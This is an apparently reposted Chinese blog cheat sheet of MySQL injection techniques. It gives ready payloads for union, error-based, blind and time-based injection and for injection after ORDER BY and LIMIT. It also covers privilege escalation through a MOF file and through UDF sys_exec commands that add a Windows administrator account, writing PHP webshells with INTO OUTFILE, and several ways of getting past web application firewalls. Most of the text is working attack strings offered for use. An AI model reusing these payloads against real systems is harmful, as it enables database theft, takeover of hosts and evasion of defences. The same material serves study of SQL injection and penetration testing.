mysql select count 5万条数据很慢_Mysql注入总结
1
0X00
? ?簡介
本文是關于Mysql注入相關知識的總結,Mysql利用方式較為靈活,這里總結了一些常用的姿勢。
1
0x01?
? ?union select注入
http://127.0.0.1/?id=1' order by 5 --+http://127.0.0.1/?id=-1' union select 1,2,3,4,5 --+http://127.0.0.1/?id=-1' union select 1,database(),3,4,5 --+注:union select 前面的語句出錯,他才會執行。
1
0X02?
? ?報錯注入
報錯函數
1.floor()#floor()報錯原理,count和group by 遇到rand會產生重復值 這三個函數在一起組合就會出錯,和位置沒有關系select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);2.extractvalue()#EXTRACTVALUE (XML_document, XPath_string);#XML_document是String格式,為XML文檔對象的名稱#XPath_string (Xpath格式的字符串),不是該格式就會報錯,利用concat拼接特殊符號來實現報錯select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));3.updatexml()#UPDATEXML (XML_document, XPath_string, new_value);#XML_document是String格式,為XML文檔對象的名稱,#XPath_string (Xpath格式的字符串),不是該格式就會報錯,利用concat拼接特殊符號來實現報錯#new_value,String格式,替換查找到的符合條件的數據select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));注:extractvalue()函數,updatexml()函數能查詢字符串的最大長度是32,如果超過則也需要使用substring()函數截取,一次查看32位4.geometrycollection()select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));5.multipoint()select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));6.polygon()select * from test where id=1 and polygon((select * from(select * from(select user())a)b));7.multipolygon()select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));8.linestring()select * from test where id=1 and linestring((select * from(select * from(select user())a)b));9.multilinestring()select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));10.exp()#exp() 報錯的原理 ,手冊說到exp是一個數學函數 取e的x次方,當我們輸入的值大于709就會報錯 然后~取反它的值總會大于709所以報錯。select * from test where id=1 and exp(~(select * from(select user())a));注意:當mysql版本>5.5.53時,無法利用exp()函數1
0X03?
? ?盲注
布爾盲注
通過字符串截取對比
http://127.0.0.1/sqli/Less-1/?id=1' and ascii(substr((select user()),1,1))=100 -- +substring(),min()同substr()ord()函數同ascii(),將字符轉為ascii值select user() regexp '^ro' 判斷user()前兩位是否為ro,正確返回1,錯誤返回0時間盲注
時間盲注也叫延時注入 一般用到函數 sleep() BENCHMARK() 還可以使用笛卡爾積(盡量不要使用,內容太多會很慢很慢)。一般時間盲注我們還需要使用條件判斷函數if()if(expre1,expre2,expre3) 當expre1為true時,返回expre2,false時,返回expre3。
延遲函數:sleep(5)http://127.0.0.1/sqli/Less-1/?id=1' and if((select ord(substring(database(),1,1))) = 97,sleep(5),1) and '1'='1benchmark(count,expr),是重復執行count次expr表達式,使得處理時間很長,來產生延遲。笛卡爾積(因為連接表是一個很耗時的操作):AxB=A和B中每個元素的組合所組成的集合,就是連接表SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;RLIKE REGEXP正則匹配:通過rpad或repeat構造長字符串,加以計算量大的pattern,通過repeat的參數可以控制延時長短select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');RPAD(str,len,padstr)用字符串 padstr對 str進行右邊填補直至它的長度達到 len個字符長度,然后返回 str。如果 str的長度長于 len',那么它將被截除到 len個字符。mysql> SELECT RPAD('hi',5,'?'); -> 'hi???'repeat(str,times) 復制字符串times次同等于sleep(5)
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,dnslog盲注
通過DNSlog盲注需要用到load_file()函數。show variables like '%secure%' 查看load_file()可以讀取的磁盤。
當secure_file_priv為空,就可以讀取磁盤的目錄,當secure_file_priv為null,load_file就不能加載文件
在5.7.6之后默認為null,經測試phpstudy (5.5.53)和 mamp(5.6.35)默認值都是為null,可能是現在集成環境也意識到這些安全問題,做出了更改
1
0X04 ?
? ??寬字節注入
寬字節注入是因為數據庫使用了GBK編碼,不過現在大都使用unicode國際編碼,大多數網站都使用了utf-8的編碼。在我們輸入單引號時 addslashes() 或者get_magic_quotes_gpc 給我們的單引號加入了轉義字符\就變成了\'我們輸入經過轉換后由于編碼的不同把%df%5c 轉換為了一個漢字
1.沒使用寬字節%27 -> %5C%27 2.?使用寬字節%df%27 -> %df%5c%27 -> 運'1
0X05?
? ?二次注入
二次注入的原理是sql語句沒有被轉義直接存入數據庫,然后在被讀取查詢而導致的。
二次注入在php種通常見于,插入時被addslashes() get_magic_quotes_gpc 等等轉義,但是寫入數據庫時還是使用原來的數據,二次注入造成原因時多種多樣的
1
0X06
? ?limit,order?by,from后的注入?
order by
這是一種特殊的注入 sql語句為 select * from admin order by $id ?我們一般用order by 來判斷他的列數,其實他就是一個依照第幾個列來排序的過程
order by注入是不能 直接使用and 1=1 來判斷的,他需要用到條件語句。
判斷注入點:
mysql> select * from users order by if(1=1,username,password);+----+----------+------------+| id | username | password |+----+----------+------------+| 8 | admin | admin || 9 | admin1 | admin1 || 10 | admin2 | admin2 || 11 | admin3 | admin3 || 14 | admin4 | admin4 || 2 | Angelina | I-kill-you || 7 | batman | mob!le || 12 | dhakkan | dumbo || 1 | Dumb | Dumb || 3 | Dummy | p@ssword || 4 | secure | crappy || 5 | stupid | stupidity || 6 | superman | genious |+----+----------+------------+13 rows in set (0.00 sec)mysql> select * from users order by if(1=2,username,password);+----+----------+------------+| id | username | password |+----+----------+------------+| 8 | admin | admin || 9 | admin1 | admin1 || 10 | admin2 | admin2 || 11 | admin3 | admin3 || 14 | admin4 | admin4 || 4 | secure | crappy || 1 | Dumb | Dumb || 12 | dhakkan | dumbo || 6 | superman | genious || 2 | Angelina | I-kill-you || 7 | batman | mob!le || 3 | Dummy | p@ssword || 5 | stupid | stupidity |+----+----------+------------+13 rows in set (0.00 sec)注:順序發生了變化布爾盲注:
mysql> select * from users order by if((substr((select user()),1,1)='r'),username,password);+----+----------+------------+| id | username | password |+----+----------+------------+| 8 | admin | admin || 9 | admin1 | admin1 || 10 | admin2 | admin2 || 11 | admin3 | admin3 || 14 | admin4 | admin4 || 2 | Angelina | I-kill-you || 7 | batman | mob!le || 12 | dhakkan | dumbo || 1 | Dumb | Dumb || 3 | Dummy | p@ssword || 4 | secure | crappy || 5 | stupid | stupidity || 6 | superman | genious |+----+----------+------------+13 rows in set (0.00 sec)mysql> select * from users order by if((substr((select user()),1,1)='a'),username,password);+----+----------+------------+| id | username | password |+----+----------+------------+| 8 | admin | admin || 9 | admin1 | admin1 || 10 | admin2 | admin2 || 11 | admin3 | admin3 || 14 | admin4 | admin4 || 4 | secure | crappy || 1 | Dumb | Dumb || 12 | dhakkan | dumbo || 6 | superman | genious || 2 | Angelina | I-kill-you || 7 | batman | mob!le || 3 | Dummy | p@ssword || 5 | stupid | stupidity |+----+----------+------------+13 rows in set (0.00 sec)時間盲注:
時間盲注不能直接簡單的sleep() 因為他會對每條內容來執行你的語句,所以會造成dos測試獲取速度慢等問題,這時候我們需要用到子查詢
報錯注入:
mysql> select * from users order by (extractvalue(1,concat(0x3a,user())),1);ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'from
from 后面的注入比較少
select * from $id;可以結合 order by 來注入
可以使用聯合注入來注入
limit
select * from admin where id >0 limit 0,1 $id用 PROCEDURE ANALYSE 配合報錯注入
mysql> select * from users where id >0 order by id limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'ERROR:No query specified這里延時只能使用BENCHMARK()
select?*?from?users?where?id?>0?order?by?id?limit?0,1?PROCEDURE?analyse(extractvalue(rand(),concat(0x3a,(if(1=1,benchmark(2000000,md5(404)),1)))),1);1
0X07
?? 無列名注入
當MySQL數據庫版本大于5時,存在information_schema庫,記錄著MySQL中所有表的結構,SQL注入中,我們會通過information_schema庫去獲取表名,列明等。但是這個庫經常被WAF過濾、或者OR被WAF過濾。**
在MySQL5.7及以上版本數據庫中,利用以下庫也可以獲取表名
sys.schema_auto_increment_columnssys.schema_table_statistics_with_buffersys.x$schema_table_statistics_with_buffer獲取第一個列名獲取第二個表名依此類推利用此方法可以獲取所有列名獲取全部數據獲取第三列數據當`被過濾,獲取第三列數據獲取一條數據
1
0X08?
? ??堆疊注入
堆疊注入與受限于select語句的聯合查詢法相反,堆疊注入可用于執行任意SQL語句。簡單地說就是MYSQL的多語句查詢
select * from users where id=1;select database();1
0X09?
? ??mysql注入提權
1.原理
在windows平臺下,c:/windows/system32/wbem/mof/nullevt.mof這個文件會每間隔一段時間(很短暫)就會以system權限執行一次,所以,只要我們將我們先要做的事通過代碼存儲到這個mof文件中,就可以實現權限提升。
2.利用條件
(1)mysql用戶具有root權限(對上面那個目錄可寫)
(2)關閉了secure-file-priv
3.利用方式
下面是一段寫好了的mof利用代碼
#pragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter{ EventNamespace = "Root\\Cimv2"; Name = "filtP2"; Query = "Select \ From __InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding{ Consumer = $Consumer; Filter = $EventFilter; };這段代碼只是在目標系統上添加了一個admin用戶,并沒有添加到管理員組(如果需要自行查找,網上很多),將這個文件存儲為nullevt.mof上傳到任意一個你在目標機上可寫的路徑(當然,如果你直接可以寫到c:/windows/system32/wbem/mof/就更好了),接下來我們就可以直接執行sql語句把該文件寫入到目標路徑:
select?load_file('你上傳的路徑/nullevt.mof')?into?dumpfile?'c:/windows/system32/wbem/mof/nullevt.mof';udpt提權
UDF提權是利用MYSQL的自定義函數功能,將MYSQL賬號轉化為系統system權限
利用條件:
1.Mysql版本大于5.1版本udf.dll文件必須放置于MYSQL安裝目錄下的lib\plugin文件夾下。
2.Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
3.掌握的mysql數據庫的賬號有對mysql的insert和delete權限以創建和拋棄函數,一般以root賬號為佳,具備`root賬號所具備的權限的其它賬號也可以。
4.可以將udf.dll寫入到相應目錄的權限。
利用方式:1.udf.dll在sqlmap里可以找到,sqlmap/udf/mysql/windows下邊有32和64兩種,這里的位數是mysql的位數,并不是對方系統的位數2.sqlmap里的udf.dll是經過編碼的,需要先解碼,解碼的工具就在sqlmap/extra/cloak/cloak.py3.解碼完了,在sqlmap\udf\mysql\windows,32和64文件夾下會生成dll文件,將dll文件復制到mysql的/lib/plugin目錄下,執行sql語句create function sys_exec returns string soname "lib_mysqludf_sys.dll";select sys_exec('net user aaa 123 /add');select sys_exec('net localgroup administrators aaa /add');#到此就完成了,下邊刪除使用的函數drop function sys_exec;delete from mysql.func where name='sys_exec'
1
0X10?
? ?mysql注入寫webshell
基于聯合查詢
利用條件:
1.對web目錄有寫權限。
2.知道網站的絕對路徑。
利用分隔符寫入**
當Mysql注入點為盲注或報錯,Union select寫入的方式顯然是利用不了的,那么可以通過分隔符寫入,SQLMAP的 --os-shell命令,所采用的就是一下這種方式。
利用條件:
1.對web目錄有寫權限。
2.知道網站的絕對路徑。
同樣的技巧,一共有四種形式:
INTO OUTFILE '物理路徑' lines terminated by '<?php phpinfo();?>' --+ (或一句話hex編碼)#INTO OUTFILE '物理路徑' fields terminated by '<?php phpinfo();?>' --+ (或一句話hex編碼)#INTO OUTFILE '物理路徑' columns terminated by '<?php phpinfo();?>' --+ (或一句話hex編碼)#INTO OUTFILE '物理路徑' lines starting by '<?php phpinfo();?>' --+ (或一句話hex編碼)#基于log日志寫shell法**
新版本的MySQL設置了secure_file_priv的路徑,無法通過使用select into outfile來寫入一句話,這時,我們可以通過修改MySQL的log文件來獲取Webshell利用條件:
1.數據庫當前用戶為root權限
2.知道網站絕對路徑
3.存在堆疊注入(或mysql consloe)
1
0X11?
? ?mysql注入過waf
內聯注釋繞過
http://127.0.0.1/Less-1/?id=-1' union/*!11440select*/ 1,2,3--+ 不攔截http://127.0.0.1/Less-1/?id=1' order/*!51000a*/by 3--+ 不攔截為什么不攔截 ,因為50000是他的版本號,在注釋中加入!,加上版本號后只有當前mysql版本大于標注的版本號注釋內的sql才會執行,那么我們可以用burp來遍歷這個值呢,而這里為什么是11440其他的為什么不行,那就是規則庫的問題了.
注釋繞過
繞過unino select:union all%23%0a select union %23%0aall select union -- hex()%0a select編碼繞過
URL編碼十六進制編碼unicode編碼:單引號: %u0027空格:%u0020左括號:%u0028右括號:%u0029參數污染
/**/ 里面的內容waf基本不管,那么我們用hpp 參數污染來繞過就很簡單了
照成這個手法的原因是 web server 對參數的解析問題 在php/apache 中 它總解析最后一個id
等價替換
使用from. 繞過from繞過 information_schema.schemata:`information_schema`.schemata`information_schema`.`schemata`information_schema.`schemata`(information_schema.schemata)information_schema/**/.schemata%26%26繞過andand!!!繞過andsel<>ect 繞過select分塊傳輸
進行分塊傳輸的時候,請求頭要加上Transfer-Encoding: Chunked,然后POST的數據規則如下
2id2=302 #這個2表示下面數據的個數 可以在這個后面加入分號添加注釋 比如 2;hello world 可以利用這個特性添加隨機字符來干擾wafid #參數 接收參數就是id一共就兩個字母 所以上面的個數是22 #同理 表示下面的數據的個數=1 #這個也是同理 和前面的id連起來 post的數據就是 id=10 #分塊傳輸表示結束的方式 一個0和兩個換號#換行#換行緩沖區溢出
有不少WAF是C語言寫的,而C語言自身沒有緩沖區保護機制,因此如果WAF在處理測試向量時超出了其緩沖區長度,就會引發bug從而實現繞過
?id=1?and?(select?1)=(Select?0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database()示例0xA*1000指0xA后面"A"重復1000次,一般來說對應用軟件構成緩沖區溢出都需要較大的測試長度,這里1000只做參考,在某些情況下可能不需要這么長也能溢出。1
0X12?
? ?參考鏈接
https://blog.csdn.net/weixin_39190897/article/details/103583673
https://mp.weixin.qq.com/s/0DFHERyevMz_giZHi0agiQ
https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI
總結
以上是生活随笔為你收集整理的mysql select count 5万条数据很慢_Mysql注入总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 不限速强大的下载器_软件神器
- 下一篇: left join on用法_MySQL